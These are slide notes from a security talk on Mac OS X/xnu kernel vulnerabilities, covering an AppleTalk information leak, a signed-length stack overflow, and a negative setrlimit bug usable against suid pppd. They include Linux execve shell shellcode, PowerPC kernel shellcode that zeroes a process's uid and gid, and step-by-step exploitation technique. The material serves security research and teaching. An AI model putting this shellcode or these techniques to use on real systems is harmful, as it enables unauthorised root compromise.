Mac OS X kernel insecurity
Christian Klein & Ilja van Sprunel
Who are we?

- Christian Klein
- CS student at the university of Bonn
- Ilja van Sprundel
- Works for Suresec
- Breaks stuff for fun and profit :)

[SureSec Logo]
Agena

- What is Mac OS X, darwin and xnu
- Why Kernel vulnerabilities
- Information leaks
- Buffer overflow
- Kernel bugs allowing userland compromise
What is Mac OS X

- A modern Operating system
- A graphical user interface
- Lots of userland applications
- A kernel
- Runs on ppc

OSXserver:/tmp ilja$ uname -a
What is Darwin

- A part of Mac OS X
- An operating system on its own
- Unix based
- Userland applications and a kernel
- Runs on ppc and i386
What is xnu

- The unix kernel that darwin and Mac OS X use
- A mix of 4.4(Free)BSD and 3.0 Mach
Why kernel vulnerabilities

- They are fun to play with
- Hard to strip down a kernel unlike userland applications
Information leaks

- A bug in the kernel allowing disclosure of kernel data
- Has the potential to contain sensitive information
- Usually easily triggered and exploited
Example

- First example
- Bug in apple talk communications systemcall:

```c
int ATPsndreq(void *proc, struct ATPsndreq_args *uap, int *retval) {
    if (sys_ATPsndreq) {
        int err;
        *retval =
            (*sys_ATPsndreq)(uap->fd, uap->buf, uap->len,
                             uap->nowait, &err, proc);
    }
}

int _ATPsndreq(int fd, char *buf, int len, int nowait, int *err, void *proc) {
    ...
    atp_pack_bdsp(trp, (struct atpBDS *)bds);
}
static void atp_pack_bdsp(register struct atp_trans *trp, register struct atpBDS *bdsp) {
    ...
    short bufsize = UAS_VALUE(bdsp->bdsBuffSz);
    ...
    short len = (short)(gbuf_len(m));
    if (len) {
        if (len > bufsize)
            len = bufsize;
        copyout((caddr_t)dbuf_rptr(m), (caddr_t)&buf[tmp], len);
    }
}
```
Demonstration
Kernel Buffer overflows

- Known for a _VERY_ long time
- They do exist in the kernel as well
- They are exploitable as well
- They don't differ that much from userland
Stack based buffer overflows: Refreshing your memory

- Too much data gets put in an array on the stack
- Data gets written beyond this array
- Goal is to overwrite sensitive data
- As it turns out a saved instruction pointer is usually located somewhere after this array
- If something goes wrong, the application WILL crash
Stack based buffer overflows: Refreshing your memory (2)

- The saved instruction pointer points to the next instruction to execute when the current function returns.
- When overwritten we can make it point anywhere in memory.
- If we store our own instructions at a known location we can make eip point to it.
Stack based buffer overflows: Refreshing your memory (3)

- Instructions you want to get executed is usually referred to as 'shellcode'
- In userland shellcode will mostly spawn a shell either locally or over a network
- Shellcode is nothing more then some assembly code
- In a lot of cases there are restricted characters (such as \x00')
- Therefor a shellcode writer has to work around these restricted characters

```
x53
x68\x6e\x2f\x73\x68
x68\x2f\x2f\x62\x69
x89\xe3
x8d\x54\x24\x08
x51
x53
x8d\x0c\x24
x31\xc0
xb0\x0b
xcd\x80
```

// pushl %ebx
// pushl $0x68732f6e
// pushl $0x69622f2f
// movl %esp,%ebx
// leal 8(%esp),%edx
// pushl %ecx
// pushl %ebx
// leal (%esp),%ecx
// xorl %eax,%eax
// movb $0xb,%al
// int $0x80
Stack based buffer overflows in the darwin kernel

- There are a few
- The same rules apply
- A few differences when compared to exploiting them in userland
- The goal is the same, get a shell with elevated privileges
Stack based buffer overflows in the darwin kernel: kernel shellcode

- Unlike userland shellcode we cannot just call execve()
- We can change the user id and group id of a process
- Each process has its own process structure somewhere in memory
- Among other things it stored the userid and group id
- All our shellcode has to do is find this struct and then change the uid and gid
Stack based buffer overflows in the darwin kernel: kernel shellcode (2)

- Finding the process structure of a process is easier than you would think
- This can be done with a syscall() call before you exploit anything

```c
long get_addr(pid_t pid) {
    int i, sz = sizeof(struct kinfo_proc), mib[4];
    struct kinfo_proc p;
    mib[0] = 1;
    mib[1] = 14;
    mib[2] = 1;
    mib[3] = pid;
    i = syscall(&mib, 4, &p, &sz, 0, 0);
    if (i == -1) {
        perror("syscall()");
        exit(0);
    }
    return(p.kp_eproc.e_paddr);
}
```
Stack based buffer overflows in the darwin kernel: kernel shellcode (3)

- Adress of proc structure is known
- Find the right fields and set them to 0

```
struct proc {
    LIST_ENTRY(proc) p_list;    /* List of all processes. */

    /* substructures: */
    struct pcred *p_cred;       /* Process owner's identity. */
    ....
};
```

```
struct pcred {
    struct lock__bsd__ pc_lock;
    struct ucred *pc_ucred;    /* Current credentials. */
    uid_t   p_ruid;             /* Real user id. */
    uid_t   p_svuid;            /* Saved effective user id. */
    gid_t   p_rgid;             /* Real group id. */
    gid_t   p_svgid;            /* Saved effective group id. */
    int     p_refcnt;           /* Number of references. */
};
```
Stack based buffer overflows in the darwin kernel: kernel shellcode (4)

- Basic darwin kernelshellcode:

```c
int kshellcode[] = {
    0x3ca0aabb, // lis r5, 0xaabb
    0x60a5ccdd, // ori r5, r5, 0xccdd
    0x80c5ffa8, // lwz r6, -88(r5)
    0x80e60048, // lwz r7, 72(r6)
    0x39000000, // li r8, 0
    0x9106004c, // stw r8, 76(r6)
    0x91060050, // stw r8, 80(r6)
    0x91060054, // stw r8, 84(r6)
    0x91060058, // stw r8, 88(r6)
    0x91070004 // stw r8, 4(r7)
};
```
Stack based buffer overflows in the darwin kernel: Returning

- In most userland applications there is usually no need to return.
- When just doing absolutely nothing in kernel space a panic WILL happen.
- There are 2 solutions:
  - Calculate where to return and restore all that we broke
  - Call IOSleep() and schedule in a loop
- We chose the second one :(
Stack based buffer overflows in the darwin kernel: The vulnerability

- There is a length check done on nsops
- Nsops is signed however and there is no check to see if it's negative
- Copyin() copies data from userland to kernel space
- First argument is a userland adress
- Second argument is a kerneladress
- Third argument is the size
- The size used will be interpreted as unsigned.
- When negative values are cast to unsigned they are HUGE !!!
- Hence a bufferoverflow can take place.
Stack based buffer overflows in the darwin kernel: copyin problem & solution

- Problem, we're copying WAY too much and the stackspace will run out eventually.
- Copyin() however does several tests on the userland adress.
- One of them is to stop copying the moment data can no longer be read from it.
- This can be used to our advantage
- We'll copy the amount of data needed and then have an unreadable page right after it!
Stack based buffer overflows in the darwin kernel: finding the shellcode

- Since we're in the kernel we can't screw up
- This is a one-shot
- We need to know the EXACT address of our shellcode
- Using the kernel nsops array for the shellcode might be too risky
- We CAN just use userland data (as long as it's valid)
- We can determine userland addresses with ease
Demonstration
Kernel bugs allowing userland compromise

- Not all bugs in the kernel are exploited only in the kernel
- Some require userland interaction
- Examples: a few ptrace() exploits, FD 0,1,2 closing bugs, ...
Kernel bugs allowing userland compromise:

setrlimit()

extern int maxfiles;
extern int maxfilesperproc;
typedef int64_t rlim_t;

struct rlimit {
    rlim_t rlim_cur; /* current (soft) limit */
    rlim_t rlim_max; /* maximum value for rlim_cur */
};
Kernel bugs allowing userland compromise:

setrlimit() (2)

```c
int do_setrlimit(p, which, limp)
    struct proc *p;
    u_int which;
    struct rlimit *limp;
{
    register struct rlimit *alimp;
    ...
    alimp = &p->p_rlimit[which];
    if (limp->rlim_cur > alimp->rlim_max ||
        limp->rlim_max > alimp->rlim_max)
        if (error = suser(p->p_ucred, &p->p_acflag))
            return (error);
    ...
    switch (which) {
    ...
    case RLIMIT_NOFILE:
        /*
         * Only root can set the maxfiles limits, as it is system wide resource
         */
        if (is_suser()) {
            if (limp->rlim_cur > maxfiles)
                limp->rlim_cur = maxfiles;
            if (limp->rlim_max > maxfiles)
                limp->rlim_max = maxfiles;
        }
        else {
            if (limp->rlim_cur > maxfilesperproc)
                limp->rlim_cur = maxfilesperproc;
            if (limp->rlim_max > maxfilesperproc)
                limp->rlim_max = maxfilesperproc;
        }
        break;
    ...
    }
}
Kernel bugs allowing userland compromise:

setrlimit() (3)

- All values used are signed
- Negative rlimits can be used
- Will pass all super user checks
- When comparisons are done in other pieces of code there is always an unsigned cast
- We can open a lot more files then initially intended (there is still a system limit that will be enforced !)
- A denial of service using dup2() is possible
- Getdtables() will return a negative value
Kernel bugs allowing userland compromise: setrlimit() (4)

• Getdtablesize() returns the maximum amount of file descriptors that a process can have open
  • A lot of programs use this in a for() loop to close all open file descriptors before spawning another process.
  • One of these is pppd which is suid root and opens a lot of interesting files.
• File descriptors and rlimits get inherited thru execve().

```c
int getdtablesiz(p, uap, retval)
    struct proc *p;
    void *uap;
    register_t *retval;
{
    *retval = min((int)p->p_rlimit[RLIMIT_NOFILE].rlim_cur, maxfiles);
    return (0);
}
```
Demonstration
Thanks for listening